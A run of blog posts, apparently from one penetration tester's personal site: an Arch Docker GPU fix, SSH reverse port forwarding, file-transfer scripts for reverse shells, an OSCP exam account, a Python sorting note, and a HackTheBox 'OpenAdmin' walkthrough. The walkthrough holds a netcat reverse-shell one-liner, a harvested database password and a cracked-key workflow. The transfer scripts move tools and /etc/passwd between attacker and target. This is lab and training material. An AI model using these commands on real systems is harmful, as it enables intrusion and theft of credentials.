docker: Error response from daemon: could not select device driver "" with capabilities: [[gpu]].

I looked around and I noticed that the packages nvidia-container-toolkit and libnvidia-container are required to make this work, which seems to provide the GPU functionality to the docker containers for Nvidia cards.

I tried to install them using the pacman and yay, but both says package not found. When I google it, I found it on the following links, which is in the extra repo of Arch.

• ArchLinux extra nvidia-container-toolkit
• ArchLinux extra libnvidia-container

I went through like changing the pacman config, pacman mirrors and none of them seem to help me find the packages I need.

Finally I found a post on reddit and that leads me to try downloading the packages, building it and installing myself.

git clone https://gitlab.archlinux.org/archlinux/packaging/packages/libnvidia-container
cd libnvidia-container
makepkg -si

git clone https://gitlab.archlinux.org/archlinux/packaging/packages/nvidia-container-toolkit
cd nvidia-container-toolkit
makepkg -si

When installing the nvidia-container-toolkit, it might fail with the following.

time="2024-05-11T14:30:59+08:00" level=info msg="Installed '/tmp/output-2742741441/input.real'"
time="2024-05-11T14:30:59+08:00" level=info msg="Installed wrapper '/tmp/output-2742741441/input'"
--- PASS: TestInstallExecutable (0.00s)
=== RUN   TestNvidiaContainerRuntimeInstallerWrapper
--- PASS: TestNvidiaContainerRuntimeInstallerWrapper (0.00s)
PASS
ok      github.com/NVIDIA/nvidia-container-toolkit/tools/container/toolkit      (cached)
FAIL
==> ERROR: A failure occurred in check().
    Aborting...

I just vi PKGBUILD and removed the check() function. Then it was able to install, and docker was able to use GPU. The following is how I test if the GPU is detected in the docker container.

Remember to restart the docker service after installing the above packages.

docker run --gpus all nvidia/cuda:12.1.1-runtime-ubuntu22.04 nvidia-smi

==========
== CUDA ==
==========

CUDA Version 12.1.1

Container image Copyright (c) 2016-2023, NVIDIA CORPORATION & AFFILIATES. All rights reserved.

This container image and its contents are governed by the NVIDIA Deep Learning Container License.
By pulling and using the container, you accept the terms and conditions of this license:
https://developer.nvidia.com/ngc/nvidia-deep-learning-container-license

A copy of this license is made available in this container at /NGC-DL-CONTAINER-LICENSE for your convenience.

Sat May 11 06:45:03 2024
+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 550.67                 Driver Version: 550.67         CUDA Version: 12.4     |
|-----------------------------------------+------------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. |
|                                         |                        |               MIG M. |
|=========================================+========================+======================|
|   0  NVIDIA GeForce RTX 4080 ...    Off |   00000000:01:00.0  On |                  N/A |
|  0%   44C    P8             21W /  320W |     622MiB /  16376MiB |     19%      Default |
|                                         |                        |                  N/A |
+-----------------------------------------+------------------------+----------------------+

+-----------------------------------------------------------------------------------------+
| Processes:                                                                              |
|  GPU   GI   CI        PID   Type   Process name                              GPU Memory |
|        ID   ID                                                               Usage      |
|=========================================================================================|
+-----------------------------------------------------------------------------------------+

Firstly, create a SSH keypair on your kali. It is a good idea to create a new key, even if you already have one.

ssh-keygen -t rsa

Create a new user on your kali (or any linux distro)

sudo useradd mole -m

Go to it’s /home/mole/.ssh folder and create the following authorized_keys file, set it to correct permissions.

from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@ajla

Change the from to point to the target server that the SSH connection will be coming from, and replace the SSH key portion with the key generated in the first step. This SSH access is created such that it only allows user from the IP address specified from from argument, and it only allows port forwarding and nothing else.

chmod 700 /home/mole/.ssh
chmod 600 /home/mole/.ssh/authorized_keys
sudo chown mole:mole /home/mole/.ssh -R

After configuring the above permissions, copy the private key over to the target server. Then you can use it to connect back to your kali.

Before you connect back, make sure your ssh service is running.

sudo systemctl start ssh

Then the following command will connect back to kali and forward port 8000 from kali to the target server’s local port 8000.

ssh -f -N -R 8000:localhost:8000 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i key mole@ip

With all this, you will be able to access the target server’s local port 8000 from your kali’s port 8000, without having compromised the target’s SSH user account.

I have been doing HackTheBox and TryHackMe lately again, after a hiatus, since I acquired my OSCP. There are certain commands that I always have to run on the reverse shells on the target systems to download files, upload files, etc.

This is the culmination of the experience in doing those file transfers.

Download

First of all, there is the usual python http server and download from target using things like curl or wget.

# on kali
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

# on target
wget http://[MY_IP]:80/[FILES]

This is quite tedious, as there is no IP to just copy paste. I had to look up what is my current IP every single time. So in order to optimise the workflow, I wrote a script.

This script is called srvfile, short for serve file

#!/bin/bash

set -e

if [ -z $1 ]; then
    echo "Usage: ./serve_file.sh filename" && exit;
else
    filename=$1;
fi

ip=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f 1)
if [ -z $ip ]; then
    echo "tun0 interface ip not found"
    read -p "Enter IP: " ip
fi

echo ""
echo "=== LINUX"
echo "curl http://$ip/$filename -o $(basename $filename)"
echo ""
echo "wget http://$ip/$filename"
echo ""

echo "=== WINDOWS"
echo "powershell -ep bypass -c \"\$wc=New-Object Net.WebClient;\$wc.DownloadFile('http://$ip/$filename','c:\\temp\\$(basename $filename)');\""
echo ""
echo "certutil -urlcache -f http://$ip/$filename $(basename $filename)"
echo ""

echo "-----------------------------------------------------"
echo "Copy paste one of the command above to your reverse shell on the target to download files."

python3 -m http.server 80

This script will automatically get the ip of the interface tun0, which is usually the VPN interface used when hacking for HackTheBox or TryHackMe.

Example usage is as follows.

> srvfile nc.exe

=== LINUX
curl http://10.4.29.218/nc.exe -o nc.exe

wget http://10.4.29.218/nc.exe

=== WINDOWS
powershell -ep bypass -c "$wc=New-Object Net.WebClient;$wc.DownloadFile('http://10.4.29.218/nc.exe','c:\temp\nc.exe');"

certutil -urlcache -f http://10.4.29.218/nc.exe nc.exe

-----------------------------------------------------
Copy paste one of the command above to your reverse shell on the target to download files.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

You just run srvfile command and followed by what file you want to serve. Then the script will produce commands that you can just copy paste to the target, to download said file.

Upload

For the uploading of the file from the target back to kali, I also wrote a script for it.

I call this putsrv, short for PUT server. It uses HTTP PUT method to upload the file.

#!/usr/bin/env python3

"""
Source: https://gist.github.com/darkr4y/761d7536100d2124f5d0db36d4890109
Extend Python's built in HTTP server to save files
curl or wget can be used to send files with options similar to the following
  curl -X PUT --upload-file somefile.txt http://localhost:8000
  wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt
__Note__: curl automatically appends the filename onto the end of the URL so
the path can be omitted.

Modified by @the-c0d3r, added commands to be copy pasted on target, handling of path,
detection of tun0 ip, printing of the commands to be copy pasted.
"""

import os
import http.server as server

from pathlib import Path


class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
    """Extend SimpleHTTPRequestHandler to handle PUT requests"""
    def do_PUT(self):
        """Save a file following a HTTP PUT request"""
        global path_to_put, file_to_put

        filename = os.path.basename(file_to_put)
        filepath = path_to_put / filename
        file_length = int(self.headers['Content-Length'])

        with open(filepath, 'wb') as output_file:
            output_file.write(self.rfile.read(file_length))
        self.send_response(201, 'Created')
        self.end_headers()
        reply_body = 'Saved "%s"\n' % filepath
        self.wfile.write(reply_body.encode('utf-8'))
        self.close_connection = True


def get_tun0_ip():
    command = "ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f 1"
    import subprocess
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = process.communicate()
    ip = out.decode().strip()
    print(f"IP Detected: {ip}")
    if ip == "":
        print("Unable to detect IP, probably tun0 interface not found")
        ip = input("Enter your IP: ")
    return ip


def print_commands(ip, file_to_put):
    print("=== LINUX")
    print(f"curl -X PUT --upload-file {file_to_put} http://{ip}/")
    print("")
    print(f"wget -O- --method=PUT --body-file={file_to_put} http://{ip}/")
    print("")

    print("=== WINDOWS")
    print(f"powershell -ep bypass -c \"$wc=New-Object Net.WebClient;$wc.UploadFile('http://{ip}/', 'PUT', '{file_to_put}');\"")

    print("\n")



if __name__ == '__main__':
    import sys
    if len(sys.argv) < 3:
        print("Usage: putsrv file_to_put_from_server path_to_put_on_local")
        print("e.g.:\n\t putsrv /etc/passwd .")
        exit
    else:
        global path_to_put, file_to_put
        file_to_put = Path(os.path.abspath(sys.argv[1]))
        path_to_put = Path(os.path.abspath(sys.argv[2]))

        filename = os.path.basename(file_to_put)

        ip = get_tun0_ip()
        print(f"File to PUT: {file_to_put}")
        print(f"Path to PUT: {path_to_put}")
        print("\n")

        print_commands(ip, file_to_put)
        print("-" * 32)
        print("Copy the command above and paste it in your reverse shell to upload the file.\n")

        server.test(HandlerClass=HTTPRequestHandler, port="80")

When you run this program, you just need to give it two arguments. First argument is the file you want to upload from the target. The second argument is the path you want the file to be on your kali.

Example usage is as follows.

> putsrv /etc/passwd .

IP Detected: 10.4.29.218
File to PUT: /etc/passwd
Path to PUT: /mnt/hgfs/tools/serve/shell

=== LINUX
curl -X PUT --upload-file /etc/passwd http://10.4.29.218/

wget -O- --method=PUT --body-file=/etc/passwd http://10.4.29.218/

=== WINDOWS
powershell -ep bypass -c "$wc=New-Object Net.WebClient;$wc.UploadFile('http://10.4.29.218/', 'PUT', '/etc/passwd');"


Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

In this case, the command is pre-populated to upload /etc/passwd to the server’s path which is at /mnt/hgfs/tools/serve/shell path. Once you run the command, the file will be stored at /mnt/hgfs/tools/serve/shell/passwd.

PATH

The two scripts I mentioned above can be used as standalone scripts that is placed on the path. I create a directory under my home, at ~/tools/bin, and I put my scripts there.

Then in my ~/.zshrc file, I added the following line to export the path.

export PATH=~/tools/bin/:$PATH

SMB

Another easy way to share files with windows is using SMB. I just need to run the following command to setup a smb server on my kali.

impacket-smbserver SHARE ~/tools/serve/shell/

Then it will create a named share under my IP and the path SHARE. So the full network path looks like this \\10.10.10.10\SHARE\. This path will be mapped to the folder I entered as the second argument, ~/tools/serve/shell

On the window side, you can do both upload and download.

Download to windows target. This command will download nc.exe from the kali smb directory to the target.

copy \\10.10.10.10\SHARE\nc.exe nc.exe

Upload to kali from windows target. This command will upload user.txt file from windows to kali smb directory.

copy user.txt \\10.10.10.10\SHARE\

More posts about the commands will follow in the next few days.

Edit: the scripts are now available at my github repository: https://github.com/the-c0d3r/htb-scripts

Just like those who have done the OSCP exam before me, I felt the urge to write my own account of how I came to acquire the certification.

For those of you who don’t know what OSCP is, it stands for Offensive Security Certified Professional, and this is an entry-level certification for penetration testers. I have had a great opportunity to acquire this certification from my company.

To get this certification, you have to go through a course called Penetration Testing With Kali Linux (PWK) course, practice through the PWK labs and go for the 48-hour online examination when you feel ready.

I would like to talk about how I went about preparing for the OSCP and how I managed to pass it on the first try, and may this help you in your journey as well.

Background

I have been doing cybersecurity-related things + programming since I was around 14, 15 years old (which is about 10 years back). Since then, I have learned things like web penetration testing, for instance, how to do SQL injection, RFI, LFI, XSS, the works. I also learned C, Python, Java, JavaScript, and PHP along the way.

But my concentrated effort in cybersecurity didn’t begin until 4, 5 years ago, when I first started university. This does not mean that my university degree is in Cyber Security or Information Security. It’s just that I have more free time on my hand to learn more about these things on my own.

I have been a member of HackTheBox (HTB) lab since 2017, and I have compromised around 40 machines, practicing here and there. And I have always been keeping abreast with the things happening in the cybersecurity world.

About two months before starting the PWK course, I purchased VIP on HTB and TryHackMe (THM) labs and started practicing. THM has an OSCP path, where they listed a set of machines with progressional difficulties.

I was hesitant to start the PWK course, as I do not feel quite ready to take up this challenge. This is due to me being unable to compare with someone else and get a baseline of my skills. I have seen too many horror stories of people failing the OSCP exam on the first attempt or fail a few times.

Finally, I decided to start the course and registered for it.

PWK course

I registered for the PWK course with 30 days of lab access. I am determined to compromise all the PWK lab machines, 66 of them in total during these 30 days.

I was also working full time when I was going through the labs, so I only have the time in the evenings, when I get home from work until 12, or 1, 2 AM, as much as I can muster without falling asleep. And weekends are the days that I would spend the majority of the time going through the labs. As soon as I got the PWK course materials (consists of videos and an 850+ pages PDF), I glanced through briefly, for about a day or two. Then I dived right into the lab.

I was aware that if I worked through the exercises and write a report, I could get 5 bonus points, which could save me on the exam. But I thought if I needed a mere 5 points to pass the exam, then I am not good enough to pass the exam. At that time, it feels like lab time is more important than working through the exercises since the lab time starts as soon as I received the course materials.

In hindsight, working through the PDF, videos, and exercises could have saved me a lot of frustrations and taught me a lot of things if I had gone through them first.

So I was compromising a few machines every weekday, but sometimes I could only compromise one machine, sometimes I could get up to 3 machines. Then during the weekends, I work in the lab for more than 8 hours a day and usually compromise about 5 or 6 machines per day.

While working through the lab, I also discussed with other people on the InfoSec Prep discord server

The community has been super helpful whenever I was stuck on a machine. Of course, they will not tell you the solutions, they will only tell you the hints, and whether you are heading in the right direction or not.

When the lab time is about to expire (less than a few days left), I had about 50+ machines compromised in the lab. I still had ~16 machines to go for, and not enough time. Then I decided to extend the lab for another 30 days to ensure I have done all the necessary preparations for the exam.

So I used the 30 days extension to complete what’s left of the lab machines and spent about 2 weeks working through the exercises and compiled my lab report. The lab report is about 220+ pages long. The exercises are quite tedious, and I would rather choose to re-compromise all the lab machines than doing the exercises again.

I managed to secure an exam date around my now extended lab end time. The time selection was tough, if I get too close to the end date of the lab, I feel I might not be too ready, and if I get it too far from the end date, then I thought I might lose the momentum, like where else am I going to get the chance to maintain the pace of hacking a few machines every day. The exam date I got was about two weeks after my lab ends.

After I have done all the lab machines and completed my report, I started working on TryHackMe labs. Initially, before starting PWK, I have gone through the THM OSCP path. So this time, I am more focusing on two lab machines in THM, namely Buffer Overflow Prep and Windows Privesc

I am very familiar with the Linux privilege escalation, as I have been using Linux since I started learning cybersecurity and programming, but Windows privilege escalation, on the other hand, feels quite foreign to me. So I also registered for Tib3rius’s Windows privilege escalation course and created all the cheatsheets from that course.

I started reading all the OSCP exam experience I can find on the internet, by people who have passed the exam. When going through the buffer overflow prep THM room, I created a buffer overflow python program to help me save time in the exam, as well as for general testing usage. It is available at the-c0d3r/buffer-overflow

Using the buffer overflow program, I was able to spawn a reverse shell to my Kali Linux machine within 10 minutes for most of the buffer overflow challenges from the THM room.

Exam Preparations

• Food: quick and easy meals, coffee, red bulls, snacks

• Tmux sessions: I created 5 tmux sessions, 5 folders for each exam machine, and the notes template. I usually just use markdown type note, since I can easily edit it in terminal using vim.

• Things that I used in the exam, that I feel have helped me
  • Autorecon: the very famous must-have tool for the exam
  • tmux: this helped me boost up my productivity while working in multiple terminal sessions, tabs, windows, etc.
  • zsh: zsh shell is bash on steroids. I used oh-my-zsh framework.
  • fzf: fuzzy finder (zsh plugin version) for searching through the terminal history. This saved me from having to memorize a bunch of commands, or the need to have cheatsheets. I just type the command correctly for one time, and all the subsequent times, I can just “Ctrl+R” and search for the keyword and press enter. This one is extremely helpful.
  • neovim: this is vim but better. Knowing how to navigate in vim, would help save time. Most of the time when you are hacking, you would be working in a terminal, dealing with texts. Using tmux and vim, you never have to leave your terminal to write down notes.
  • exam template: I used whoisflynn’s template

figure 1: neovim in action

figure 2: fzf in action

Exam

The pre-exam verification steps took me like an hour. I started 30 mins before (8:30 AM) the exam as advised by Offsec, and only completed verification and exam connection pack around 1 hour (9:30 AM).

Buffer overflow + 10 points

I started AutoRecon scanning for the 10 point machine, and get started with the buffer overflow machine. Using the script I created beforehand, I was able to spawn a shell on my windows testing machine within 10 minutes, and I spent another 10 minutes creating the PoC and taking screenshots.

So at this time, the 10 point machine scanning is almost done. I stopped it and started the scan for 25 point machine. And I managed to root 10 point machine in about 10 minutes, as it was very very straightforward.

25 points

Then I spent another roughly 4 hours on the 25 point machine rooting it. This machine was not straight forward at all, it requires so many trial and errors. But I did not face the rabbit holes that many people always complained about. I just keep trying different things and little by little, I managed to slip through and widen the crack big enough to execute whatever I want. As I was working on the 25 point machine, I also started scanning for the remaining two 20 point machine.

20 points

I had to take a break during the 25 points to have a quick 30-minute lunch. Then I started working on the first 20 point machine. This one is also quite straightforward for a foothold, but the privilege escalation took slightly longer, as I went the wrong way. I assumed things based on the experiences I had in the lab. And that was dead wrong. Fortunately, I was able to figure out a way to privilege escalate. The whole process took me about 2 hours.

Current points

By now, I have enough points to pass the exam. 25 (buffer overflow) + 10 + 25 + 20 = 80 points And I went through the trouble of completing the lab report, which will add up to a total of 85 points. As I went through each machine, I quickly documented down all the steps I took and made sure that I have screenshots for the steps I took to reach root access.

At this point (~7-8 hours into the exam), I could have just go to bed and take my sweet time with the report. But I knew better than to just be “good enough”. I took turns doing the last 20 point machine and compiling the exam report. But even after putting the remaining 12 hours+ into the 20 point machine, the machine didn’t budge at all. It feels like all hope is lost, I was devastated. I was beginning to feel quite uncomfortable now that I have spent 24 hours straight hacking. I looked outside my window, the dawn is approaching, I am running out of time and ideas, I decided to accept the fact that I couldn’t get the last one.

So I double-triple checked all my screenshots and reports, and submitted my exam report, and asked my proctor to end the exam about half an hour earlier.

PWK Tips

• Do not just try to complete the machines as fast as possible. Don’t be too focused on the number of machines you compromised. I have known some people who only did ~10+ machines and still passed on the first try. Completing all 66 machines is not a guarantee to pass the exam, it only increases the likelihood.
• Look at what each machine is trying to teach you.
• Take rigorous notes, and learn to take screenshots from the start.
• Extract all the techniques you used, enumerations you did, into a methodology. A mindmap would help in this case. Focus on building the methodology, to know what to do in each case.
• Go through the PDF and Videos
• Don’t look at hints, unless you have been stuck for a few days on the same machine. I had to rely on a lot of hints to complete the machines as fast as possible, due to my limited lab time. But that was a very bad idea.

Exam Tips

• Create a schedule beforehand
• Practice Buffer overflow to the point when it becomes your muscle memory. This is the easiest 25 points.
• Do lots of enumeration with tools such as Autorecon.
• Take screenshots and notes, as soon as you compromised one machine, double back and make sure you got all screenshots for each step.
• Take a nap from time to time. Prepare ready-made meals, coffee, redbulls.
• If there’s something that is running, think “maybe because it has a purpose”.
• Prepare scans of your ID just in case your webcam cannot focus.
• Create one tmux session for each machine with unlimited scrollback history.
• Use one drive to write your exam report. One drive has free online Microsoft word editor
• Read through the exam guide, and prepare a checklist for each step of report submission.
• Email offsec and clarify about anything (such as Metasploit usage) before the exam, rather than waiting for their reply during the exam.

Good luck to all the OSCP students, and remember to try harder.

1.txt
2.txt
3.txt
4.txt
5.txt
...
...
10.txt
11.txt
12.txt

If you sort it with python’s default sort function, the result would be the following.

>>> import os
>>> flist = os.listdir('.')
>>> flist.sort()
>>> flist
1.txt
10.txt
11.txt
12.txt
2.txt
3.txt
...
9.txt

It is because the file names are sorted according to their position in ASCII table or in other words, they’re sorted by comparing their ASCII code. > More info on Ascii Table <

It makes sense for the computer to sort it this way, but it doesn’t make sense for a human. Since 10.txt definitely comes after 2.txt and the like. It doesn’t feel natural or sequential (hence the natural sort is named). Therefore if we want to sort it naturally, we would have to use some parameters in sort() calls.

Help on built-in function sort:

sort(...)
    L.sort(cmp=None, key=None, reverse=False) -- stable sort *IN PLACE*;
    cmp(x, y) -> -1, 0, 1

So according to the documentation above, you can probably conclude that you could use “key” parameter. It is used to provide the sorting algorithm alternative set of keys to sort by.

To correctly sort the text file list from 1.txt to 12.txt, what you will need to do is just take the number from the file name. And pass it as key to the sort call.

numlist = [int(x[:x.index('.')]) for x in flist]

First it loops through the flist using x as the loop variable. Then it splice x from the beginning to where it found the .. And it converts it into int, and it’s in a list. This is just to demonstrate how we can get just the file name numbers from a list of filenames.

flist.sort(key=lambda x: int(x[:x.index('.')]))

Now let’s think about it for a moment. What kind of sane person would want ascii ordering/sorting? It doesn’t make sense for any one to sort their files or directories that way. And besides, it’s not 90s anymore, where programming languages are arcane and esoteric. Almost all programming languages’s default sorting algorithms are guaranteed to be ascii sort.

References AKA good reads on this topic

(CodingHorror) Sorting For Humans: Natural Sort Order ASCIIbetical != Alphabetical Ascii Table

os: linux

host: openadmin.htb

Ports

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/ona

/artwork seem to have a blog running /music also seems to be a blog /ona this is the entry point, OpenNetAdmin

dirbuster with directory-list-2.3-medium.txt revealed interesting dir, ona.

Foothold

# python3 ona-rce.py exploit http://openadmin.htb/ona
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.199 1111 >/tmp/f

Local User

Got this hint from the /ona user info, it states which dbname is it using. Then do grep -iarn 'ona_default, get the db creds. This is being reused by the webadmin jimmy

www-data@openadmin:/var/www/ona$ cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>www-data@openadmin:/var/www/ona$

Reuse this cred and user jimmy to ssh in.

Local Root

jimmy@openadmin:/var/www/internal$ ss -atlpn
State               Recv-Q               Send-Q                              Local Address:Port                               Peer Address:Port
LISTEN              0                    80                                      127.0.0.1:3306                                    0.0.0.0:*
LISTEN              0                    128                                     127.0.0.1:52846                                   0.0.0.0:*
LISTEN              0                    128                                 127.0.0.53%lo:53                                      0.0.0.0:*
LISTEN              0                    128                                       0.0.0.0:22                                      0.0.0.0:*
LISTEN              0                    128                                             *:80                                            *:*
LISTEN              0                    128                                          [::]:22                                         [::]:*
jimmy@openadmin:/var/www/internal$

52846 has another web server running, but it is internal only.

jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

based on this, it seems when username is set, it will just print the id_rsa of joanna. So just need to put username as whatever in curl.

jimmy@openadmin:/var/www/internal$ curl localhost:52846/main.php --data 'username=jimmy'
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$


kali@kali $ ssh joanna@openadmin.htb -i joanna.id_rsa
Enter passphrase for key 'joanna.id_rsa':

oops, looks like the rsa key is encrypted. Sidenote: kali doesn’t have ssh2john command anymore, it’s in python script /usr/share/john/ssh2john.py

kali@kali $ python3 /usr/share/john/ssh2john.py joanna.id_rsa
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
  data = base64.decodestring(data)
joanna.id_rsa:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e